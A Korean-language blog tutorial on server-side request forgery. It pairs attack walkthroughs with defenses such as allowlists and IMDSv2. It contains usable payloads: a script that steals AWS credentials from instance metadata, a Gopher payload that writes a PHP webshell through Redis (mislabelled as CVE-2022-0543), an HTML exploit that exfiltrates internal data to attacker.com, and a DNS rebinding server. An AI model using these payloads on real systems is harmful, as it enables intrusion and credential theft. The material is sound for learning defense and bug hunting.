Skip to main content

SSRF 완벽 가이드: 서버를 역이용하는 공격 기법

TL;DR: SSRF(Server-Side Request Forgery)는 서버가 공격자가 지정한 임의의 URL로 요청을 보내도록 만드는 취약점입니다. 내부 네트워크 접근, 클라우드 메타데이터 탈취, 포트 스캔 등 다양한 공격이 가능합니다.

SSRF란?

SSRF는 서버가 외부 리소스를 가져올 때, 그 URL을 사용자가 제어할 수 있는 경우 발생합니다.

취약한 코드 예시

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # 💀 사용자 입력 그대로 요청!
return response.text

사용 예시:

# 정상적인 사용
curl "https://victim.com/fetch?url=https://example.com"

# 공격 - 내부 네트워크 접근
curl "https://victim.com/fetch?url=http://localhost:6379"
curl "https://victim.com/fetch?url=http://192.168.1.100/admin"

왜 위험한가?

1. 내부 네트워크 접근

서버는 일반적으로 방화벽 내부에 있어서 외부에서 접근 불가능한 내부 서비스에 접근할 수 있습니다:

인터넷 → [방화벽] → 웹 서버 (취약점) → 내부 DB/Redis/Admin Panel

공격자가 제어

2. 클라우드 메타데��터 탈취

AWS, GCP, Azure 등의 클라우드 환경에서는 인스턴스 메타데이터 서비스가 매우 민감한 정보를 제공합니다:

# AWS EC2 메타데이터 (169.254.169.254)
curl "https://victim.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

응답:

{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJal...",
"Token": "IQoJb3...",
"Expiration": "2026-03-03T06:30:00Z"
}

임시 AWS 크레덴셜 획득 → 클라우드 리소스 전체 접근 가능!

3. 포트 스캔 & 서비스 핑거프린팅

응답 시간이나 에러 메시지로 내부 네트워크 구조 파악:

import requests
import time

for port in range(1, 1000):
start = time.time()
try:
requests.get(f"https://victim.com/fetch?url=http://192.168.1.10:{port}", timeout=2)
except:
pass
elapsed = time.time() - start

if elapsed < 1.5: # 빠른 응답 = 포트 오픈
print(f"Port {port} is OPEN")

실전 공격 시나리오

시나리오 1: AWS IAM Role 크레덴셜 탈취

# 1단계: 메타데이터 API에 접근 가능한지 확인
url1 = "http://169.254.169.254/latest/meta-data/"
response = requests.get(f"https://victim.com/fetch?url={url1}")
print(response.text)
# 출력: iam/, instance-id/, security-groups/ ...

# 2단계: IAM role 이름 확인
url2 = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(f"https://victim.com/fetch?url={url2}")
role_name = response.text.strip()
print(f"Role: {role_name}")

# 3단계: 크레덴셜 탈취
url3 = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(f"https://victim.com/fetch?url={url3}")
creds = response.json()

print(f"AccessKeyId: {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token: {creds['Token']}")

# 4단계: AWS CLI로 권한 테스트
# export AWS_ACCESS_KEY_ID=...
# export AWS_SECRET_ACCESS_KEY=...
# export AWS_SESSION_TOKEN=...
# aws s3 ls # S3 버킷 목록 조회

시나리오 2: Redis RCE (CVE-2022-0543)

Redis가 내부 네트워크에서 실행 중이고 인증이 없는 경우:

# Redis 서버 확인
curl "https://victim.com/fetch?url=http://192.168.1.100:6379"

# Redis 명령 실행 (Gopher 프로토콜 이용)
# 1. Redis에 webshell 작성
payload = """
*3
$3
SET
$8
webshell
$50
<?php system($_GET['cmd']); ?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
SAVE
"""

# URL 인코딩
import urllib.parse
encoded = urllib.parse.quote(payload.replace('\n', '\r\n'))
gopher_url = f"gopher://192.168.1.100:6379/_{encoded}"

curl "https://victim.com/fetch?url={gopher_url}"

/var/www/html/shell.php 생성 → RCE 달성!

시나리오 3: PDF Generator SSRF

PDF 생성 서비스에서 HTML을 PDF로 변환할 때 SSRF 발생:

<!-- exploit.html -->
<html>
<body>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
<img src="http://admin.internal/secret-api?token=XXXX">
<script>
fetch('http://192.168.1.50:8080/admin')
.then(r => r.text())
.then(data => {
// exfiltrate data
fetch('https://attacker.com/log?data=' + btoa(data));
});
</script>
</body>
</html>
curl -X POST https://victim.com/convert-to-pdf \
-d '{"html_url": "https://attacker.com/exploit.html"}'

→ PDF 내부에 메타데이터/내부 페이지 렌더링됨!

우��� 기법

1. URL 파싱 차이 악용

많은 블랙리스트 필터는 간단한 문자열 매칭을 사용:

# 취약한 필터
def is_safe_url(url):
blacklist = ['localhost', '127.0.0.1', '169.254.169.254']
return not any(bad in url for bad in blacklist)

우회 방법:

# 1. 대소문자
http://LocalHost/

# 2. IP 인코딩
http://127.1/ # 127.0.0.1과 동일
http://2130706433/ # 0x7F000001 (10진수)
http://0x7f.0x0.0x0.0x1/ # 16진수

# 3. DNS rebinding
http://spoofed.burpcollaborator.net/ # DNS가 127.0.0.1로 응답하도록 설정

# 4. 리다이렉트 체인
http://attacker.com/redirect → 302 → http://169.254.169.254/

# 5. URL 파서 혼란
http://google.com@127.0.0.1/ # user@host 형식
http://127.0.0.1#@google.com # fragment 이용

2. 프로토콜 스무글링

HTTP 외의 프로토콜 사용:

# Gopher (Redis, SMTP, FTP 등)
gopher://192.168.1.100:6379/_SET%20key%20value

# File (로컬 파일 읽기)
file:///etc/passwd

# Dict (포트 스캔)
dict://192.168.1.100:22/

# LDAP (LDAP 인젝션)
ldap://192.168.1.100:389/dc=example,dc=com

3. DNS Rebinding

공격자가 제어하는 DNS 서버 이용:

# dns_rebind.py
from dnslib import DNSRecord, RR, A
from dnslib.server import DNSServer

class RebindResolver:
def __init__(self):
self.counter = 0

def resolve(self, request, handler):
reply = request.reply()
qname = request.q.qname

# 첫 요청: 정상 IP (필터 통과)
if self.counter == 0:
reply.add_answer(RR(qname, rdata=A("1.2.3.4")))
# 두번째 요청: 내부 IP (실제 공격)
else:
reply.add_answer(RR(qname, rdata=A("169.254.169.254")))

self.counter += 1
return reply

# DNS 서버 실행 (포트 53)
resolver = RebindResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
server.start()

사용:

curl "https://victim.com/fetch?url=http://evil.attacker.com/"
# 서버가 DNS 조회 → 처음엔 1.2.3.4 (정상)
# 두번째 요청 → 169.254.169.254 (공격!)

방어 기법

1. 화이트리스트 기반 검증

from urllib.parse import urlparse

ALLOWED_HOSTS = ['example.com', 'api.partner.com']

def is_safe_url(url):
try:
parsed = urlparse(url)

# 프로토콜 검증
if parsed.scheme not in ['http', 'https']:
return False

# 호스트 화이트리스트
if parsed.hostname not in ALLOWED_HOSTS:
return False

return True
except:
return False

2. 네트워크 레벨 차단

import ipaddress
import socket

def is_private_ip(hostname):
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)

# Private/Reserved IP 차단
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved:
return True

# Cloud metadata IPs
if ip == '169.254.169.254': # AWS/GCP/Azure
return True

return False
except:
return True # DNS 실패 = 의심스러움

def fetch_url_safe(url):
parsed = urlparse(url)

# DNS rebinding 방어: 요청 직전 재검증
if is_private_ip(parsed.hostname):
raise ValueError("Private IP detected")

response = requests.get(url, timeout=5)
return response.text

3. 최소 권한 원칙

# AWS IMDSv2 (Session Token 필수)
# /etc/cloud/cloud.cfg.d/99-imdsv2.cfg
datasource:
Ec2:
metadata_urls:
- http://169.254.169.254:80
timeout: 10
max_wait: 120

# IMDSv2 활성화 (세션 토큰 필수)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1

IMDSv2는 2단계 인증 필요:

# 1단계: 세션 토큰 요청 (PUT 메소드 필수)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# 2단계: 토큰으로 메타데이터 요청
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/

→ SSRF로는 PUT 요청 + 커스텀 헤더를 보내기 어려움!

4. 응답 필터링

def fetch_with_filtering(url):
response = requests.get(url, timeout=5)

# 민감한 키워드 탐지
sensitive_patterns = [
'AccessKeyId',
'SecretAccessKey',
'private_key',
'password',
]

content = response.text.lower()
for pattern in sensitive_patterns:
if pattern.lower() in content:
logger.warning(f"Sensitive data detected in SSRF response: {url}")
return "[REDACTED]"

return response.text

CTF/Bug Bounty 팁

1. SSRF 찾는 곳

자주 발견되는 기능들:

  • 이미지 업로드 (URL로 가져오기)
  • PDF/문서 변환기
  • Webhook 설정
  • 프록시/터널 서비스
  • RSS 피드 리더
  • URL preview/unfurl
  • QR 코드 생성기

2. 테스트 체크리스트

# Burp Collaborator나 webhook.site 사용
TEST_URL="https://YOUR_UNIQUE_ID.burpcollaborator.net"

# 1. 기본 SSRF
?url=$TEST_URL

# 2. 내부 IP
?url=http://127.0.0.1:80
?url=http://localhost:80
?url=http://[::1]:80

# 3. 클라우드 메타데이터
?url=http://169.254.169.254/latest/meta-data/

# 4. 프로토콜
?url=file:///etc/passwd
?url=gopher://127.0.0.1:6379/_INFO

# 5. 리다이렉트
?url=http://attacker.com/redirect.php

# 6. DNS rebinding
?url=http://rebind.attacker.com/

3. Blind SSRF 탐지

응답이 보이지 않는 경우:

# 타이밍 기반 탐지
import time

# 1. 오픈 포트 (빠른 응답)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:80", timeout=10)
open_time = time.time() - start

# 2. 닫힌 포트 (느린 응답/타임아웃)
start = time.time()
requests.get(f"https://victim.com/fetch?url=http://192.168.1.100:12345", timeout=10)
closed_time = time.time() - start

if open_time < 2 and closed_time > 5:
print("Blind SSRF confirmed via timing!")

DNS 기반 탐지:

# Burp Collaborator 또는 Interactsh
?url=http://UNIQUE_ID.burpcollaborator.net

# DNS 로그 확인 → SSRF 존재 확인

실제 사례

Case 1: Capital One 해킹 (2019)

  • SSRF → EC2 메타데이터 탈취
  • 1억 명 이상의 개인정보 유출
  • 공격자는 WAF 설정 실수를 이용해 SSRF 수행

Case 2: Google Cloud Shell (2020)

  • PDF 생성 기능에서 SSRF 발견
  • 내부 Kubernetes API 접근
  • $7,500 버그바운티 획득

Case 3: Uber Bug Bounty (2018)

  • 이미지 업로드 기능의 SSRF
  • 내부 서비스 스캔 → 민감한 API 발견
  • $5,000+ 보상

마무리

SSRF는 겉보기엔 단순해 보이지만, 올바르게 방어하기 매우 어려운 취약점입니다.

공격자 관점:

  • 내부 네트워크 = 보물창고
  • 클라우드 환경에서 특히 치명적
  • Blind SSRF도 충분히 활용 가능

방어자 관점:

  • 화이트리스트만이 답
  • 네트워크 세그먼테이션 필수
  • IMDSv2 같은 최신 보호 기법 적용

다음 포스트에서는 Blind SQLi 타임 기반 익스플로잇을 다뤄보겠습니다.

해피 해킹! 🥞